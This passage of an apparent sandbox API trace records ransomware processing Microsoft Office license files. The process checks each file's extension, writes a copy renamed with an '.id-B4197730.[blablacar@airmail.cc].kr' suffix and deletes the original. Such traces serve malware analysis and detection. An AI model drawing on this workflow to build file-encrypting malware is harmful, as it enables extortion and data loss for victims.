Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.549] lstrlenW (lpString=".doc") returned 4 [0193.549] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.549] lstrlenW (lpString=".docx") returned 5 [0193.549] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.549] lstrlenW (lpString=".pdf") returned 4 [0193.549] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.549] lstrlenW (lpString=".xls") returned 4 [0193.549] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.549] lstrlenW (lpString=".xlsx") returned 5 [0193.549] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.549] lstrlenW (lpString=".ppt") returned 4 [0193.549] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.549] lstrlenW (lpString=".zip") returned 4 [0193.549] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.549] lstrlenW (lpString=".rar") returned 4 [0193.549] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.549] lstrlenW (lpString=".bz2") returned 4 [0193.549] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.549] lstrlenW (lpString=".7z") returned 3 [0193.549] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.549] lstrlenW (lpString=".dbf") returned 4 [0193.549] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.549] lstrlenW (lpString=".1cd") returned 4 [0193.549] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.550] lstrlenW (lpString=".jpg") returned 4 [0193.550] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.550] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.550] lstrlenW (lpString="ExcelR_Retail-pl.xrm-ms") returned 23 [0193.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.725] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=10627) returned 1 [0193.725] CloseHandle (hObject=0x520) returned 1 [0193.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220 [0193.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.726] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.726] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.727] GetLastError () returned 0x0 [0193.728] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2983, lpOverlapped=0x0) returned 1 [0193.729] WriteFile (in: hFile=0x54c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2990, lpOverlapped=0x0) returned 1 [0193.730] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.730] WriteFile (in: hFile=0x54c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x102, lpOverlapped=0x0) returned 1 [0193.731] SetEndOfFile (hFile=0x54c) returned 1 [0193.731] CloseHandle (hObject=0x54c) returned 1 [0193.731] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.731] SetEndOfFile (hFile=0x520) returned 1 [0193.734] CloseHandle (hObject=0x520) returned 1 [0193.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1 [0193.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.735] lstrlenW (lpString=".doc") returned 4 [0193.735] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.735] lstrlenW (lpString=".docx") returned 5 [0193.735] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.735] lstrlenW (lpString=".pdf") returned 4 [0193.735] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.735] lstrlenW (lpString=".xls") returned 4 [0193.735] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.735] lstrlenW (lpString=".xlsx") returned 5 [0193.735] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.735] lstrlenW (lpString=".ppt") returned 4 [0193.736] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.736] lstrlenW (lpString=".zip") returned 4 [0193.736] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.736] lstrlenW (lpString=".rar") returned 4 [0193.736] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.736] lstrlenW (lpString=".bz2") returned 4 [0193.736] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.736] lstrlenW (lpString=".7z") returned 3 [0193.736] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.736] lstrlenW (lpString=".dbf") returned 4 [0193.736] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.736] lstrlenW (lpString=".1cd") returned 4 [0193.736] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.736] lstrlenW (lpString=".jpg") returned 4 [0193.736] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.736] lstrlenW (lpString=".doc") returned 4 [0193.736] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.736] lstrlenW (lpString=".docx") returned 5 [0193.736] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.736] lstrlenW (lpString=".pdf") returned 4 [0193.736] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.736] lstrlenW (lpString=".xls") returned 4 [0193.736] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.736] lstrlenW (lpString=".xlsx") returned 5 [0193.737] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.737] lstrlenW (lpString=".ppt") returned 4 [0193.737] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.737] lstrlenW (lpString=".zip") returned 4 [0193.737] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.737] lstrlenW (lpString=".rar") returned 4 [0193.737] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.737] lstrlenW (lpString=".bz2") returned 4 [0193.737] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.737] lstrlenW (lpString=".7z") returned 3 [0193.737] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.737] lstrlenW (lpString=".dbf") returned 4 [0193.737] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.737] lstrlenW (lpString=".1cd") returned 4 [0193.737] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0193.737] lstrlenW (lpString=".jpg") returned 4 [0193.737] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.737] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.737] lstrlenW (lpString="ExcelR_Trial-ul-oob.xrm-ms") returned 26 [0193.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.738] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11586) returned 1 [0193.738] CloseHandle (hObject=0x520) returned 1 [0193.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220 [0193.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.739] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.739] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.740] GetLastError () returned 0x0 [0193.740] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d42, lpOverlapped=0x0) returned 1 [0193.741] WriteFile (in: hFile=0x54c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0193.743] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.743] WriteFile (in: hFile=0x54c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x108, lpOverlapped=0x0) returned 1 [0193.743] SetEndOfFile (hFile=0x54c) returned 1 [0193.743] CloseHandle (hObject=0x54c) returned 1 [0193.743] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.743] SetEndOfFile (hFile=0x520) returned 1 [0193.746] CloseHandle (hObject=0x520) returned 1 [0193.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1 [0193.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.747] lstrlenW (lpString=".doc") returned 4 [0193.747] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.747] lstrlenW (lpString=".docx") returned 5 [0193.747] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.747] lstrlenW (lpString=".pdf") returned 4 [0193.747] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.748] lstrlenW (lpString=".xls") returned 4 [0193.748] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.748] lstrlenW (lpString=".xlsx") returned 5 [0193.748] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.748] lstrlenW (lpString=".ppt") returned 4 [0193.748] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.748] lstrlenW (lpString=".zip") returned 4 [0193.748] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.748] lstrlenW (lpString=".rar") returned 4 [0193.748] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.748] lstrlenW (lpString=".bz2") returned 4 [0193.748] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.748] lstrlenW (lpString=".7z") returned 3 [0193.748] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.748] lstrlenW (lpString=".dbf") returned 4 [0193.748] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.748] lstrlenW (lpString=".1cd") returned 4 [0193.748] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.748] lstrlenW (lpString=".jpg") returned 4 [0193.748] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.748] lstrlenW (lpString=".doc") returned 4 [0193.748] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.748] lstrlenW (lpString=".docx") returned 5 [0193.749] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.749] lstrlenW (lpString=".pdf") returned 4 [0193.749] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.749] lstrlenW (lpString=".xls") returned 4 [0193.749] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.749] lstrlenW (lpString=".xlsx") returned 5 [0193.749] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.749] lstrlenW (lpString=".ppt") returned 4 [0193.749] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.749] lstrlenW (lpString=".zip") returned 4 [0193.749] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.749] lstrlenW (lpString=".rar") returned 4 [0193.749] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.749] lstrlenW (lpString=".bz2") returned 4 [0193.749] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.749] lstrlenW (lpString=".7z") returned 3 [0193.749] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.749] lstrlenW (lpString=".dbf") returned 4 [0193.749] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.749] lstrlenW (lpString=".1cd") returned 4 [0193.749] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0193.749] lstrlenW (lpString=".jpg") returned 4 [0193.749] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.750] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.750] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29 [0193.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.750] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6860) returned 1 [0193.750] CloseHandle (hObject=0x520) returned 1 [0193.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220 [0193.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.751] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.751] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.752] GetLastError () returned 0x0 [0193.752] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x1acc, lpOverlapped=0x0) returned 1 [0193.754] WriteFile (in: hFile=0x54c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0193.755] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.755] WriteFile (in: hFile=0x54c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0193.755] SetEndOfFile (hFile=0x54c) returned 1 [0193.755] CloseHandle (hObject=0x54c) returned 1 [0193.755] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.755] SetEndOfFile (hFile=0x520) returned 1 [0193.758] CloseHandle (hObject=0x520) returned 1 [0193.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1 [0193.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.759] lstrlenW (lpString=".doc") returned 4 [0193.759] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.759] lstrlenW (lpString=".docx") returned 5 [0193.759] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.759] lstrlenW (lpString=".pdf") returned 4 [0193.759] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.759] lstrlenW (lpString=".xls") returned 4 [0193.759] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.759] lstrlenW (lpString=".xlsx") returned 5 [0193.760] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.760] lstrlenW (lpString=".ppt") returned 4 [0193.760] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.760] lstrlenW (lpString=".zip") returned 4 [0193.760] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.760] lstrlenW (lpString=".rar") returned 4 [0193.760] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.760] lstrlenW (lpString=".bz2") returned 4 [0193.760] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.760] lstrlenW (lpString=".7z") returned 3 [0193.760] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.760] lstrlenW (lpString=".dbf") returned 4 [0193.760] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.760] lstrlenW (lpString=".1cd") returned 4 [0193.760] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.760] lstrlenW (lpString="C:\\Program Files\\Microsoft 